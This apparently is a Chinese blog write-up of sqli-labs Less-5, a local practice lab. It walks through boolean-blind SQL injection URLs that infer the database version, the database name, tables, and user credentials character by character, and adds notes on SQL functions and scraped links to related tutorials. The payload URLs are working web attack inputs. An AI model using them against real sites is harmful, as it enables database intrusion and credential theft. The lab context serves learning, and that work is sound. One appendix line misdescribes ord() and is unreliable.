sqli-labs-master第五关Less-5 Double Query- Single:方式一

由于第三四关和第一第二关大致相同,我就不写了。

接下来来写第五关的第一种方式。



1,目标网站:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

当传递的ID为1的时候提示“you are in”

2,查找注入点:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' 返回错误

当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。

说明把“1’”带入数据库查询了,所以存在注入点

3,查看版本信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23

返回错误 所以数据库版本是5.0

4,判断数据库长度:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

返回错误

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

返回正确

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

返回错误

所以数据库的名称是8位构成

5,猜测数据库名称(从第一位开始猜):

1>猜第1位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23

返回错误

说明第一位在a和z之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23

返回正确

所以第一位是s

1>猜第2位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23

返回错误

说明第二位在a和z之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23

返回正确

所以第二位是e

以此类推,直到推出第8位:最后数据库为security

6,猜测数据库(security)中的表:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n

说明:

a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数

7,猜用户:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from S. M order by  id  limit A,1),B,1))=N %23

其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

8.猜用户和密码:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23

其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23



附录:

substr()用于字符串加减

ord()将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98;

mid() :字符串截取函数

语法: mid(字符串,指定截取位数,截取N个)

示例

B6=123456789abcdef      =mid(B6,1,13)    结果= 123456789abcd

IFNULL(expr1,expr2)

如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。

cast()函数:

参考博客:http://www.studyofnet.com/news/109.html

(1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:

SELECT CAST('12' AS int)

(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值,又会出现什么情况呢?

SELECT CAST('12.5' AS int)

(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示,所以对这个函数调用将产生一个错误:



微信公众号



原文地址:http://blog.51cto.com/tdcqvip/2062354

时间: 2024-11-13 05:45:18

sqli-labs-master第五关Less-5 Double Query- Single:方式一的相关文章

Sqli labs系列-less-1 详细篇

要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://

Sqli labs系列-less-2 详细篇

就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊...好歹我也是上打过网络安全攻防平台,注入卡在第七关,我下玩过 web_for_pentester ,web渗透靶机2pentester_II_i386,这些靶场的小菜比... 好了,不扯了,现在开始扯这个第二关. 原本想着明天闲着没事了玩玩吧,后来,我今天也是闲的没事,我就继续开始玩玩吧. 结果玩

【codecombat】 试玩全攻略 第十五关 名字大师

第十五关 名字大师 大眼一看,这一关跟上一关并没有什么不同,只是怪物有了名字,敌人1.敌人2.敌人3.好吧 要是怪物会说话,肯定会抗议的吧,我们兽人也是有尊严的! 代码如下: 1 # 你的英雄不知道这些敌人的名字! 2 # 这眼镜给了你寻找最近敌人的能力. 3 4 enemy1 = hero.findNearestEnemy() 5 hero.attack(enemy1) 6 hero.attack(enemy1) 7 enemy2 = hero.findNearestEnemy() 8 her

团队项目:第五关攻略

第五关 第五关过关方法不唯一,以下给出一种方案. 利用开关门消去中间平台,即可抵达终点.

webug第五关:一个优点小小的特殊的注入

第五关:一个优点小小的特殊的注入 既然是头部注入,首先想到xff注入 出现数据库报错,而且他是直接将xff后的内容带入数据库查询

webug第十五关:什么?图片上传不了?

第十五关:什么?图片上传不了? 直接上传php一句话失败,将content type改为图片 成功

XSS闯关之第五关

开启第五关查看源码,进行分析当我第一眼看到这个代码的时候,就想着用上一关的payload,只需要将其大写就可.但是结局往往就是残酷.激动之下忽略了另一个函数strtolower(),此函数,将所有的字母全部转化为小写.所以造成我的大写payload没有什么用.将字母转换为小写后复制给变量str,然后此变量经过str_spelace()函数将其中的<script转换为<sc_ript,将转换后的字符串赋值给变量str2.这样我们的<script>标签就不能使用Str2经过str_sp

Sqli labs相关环境的下载与安装

我们在学习这项内容之前,需要安装两样应用程序,下载路径的搜索比较麻烦,这里提供两个已知的百度网盘网址及其提取码以供使用: 1.安装phpstudy; 链接:https://pan.baidu.com/s/1yeOLf7Mty5bEGLPUSodILg 提取码:y3vl 2.安装sqli-labs-masters; 将sqli-labs-masters解压,放到phpStudy安装目录下的/PHPTutorial/WWW 链接:https://pan.baidu.com/s/1aKbc0fnsLg

pythonchallenge 第五关

因为前几关代码已近删了,所以从这一关开始. 思路我都是在网上找的,比如 http://blog.csdn.net/zlchina1989/article/details/6864562. 所以我在这边只贴上代码: import urllib.request import re import pickle url = "http://www.pythonchallenge.com/pc/def/banner.p" res = urllib.request.urlopen(url) dat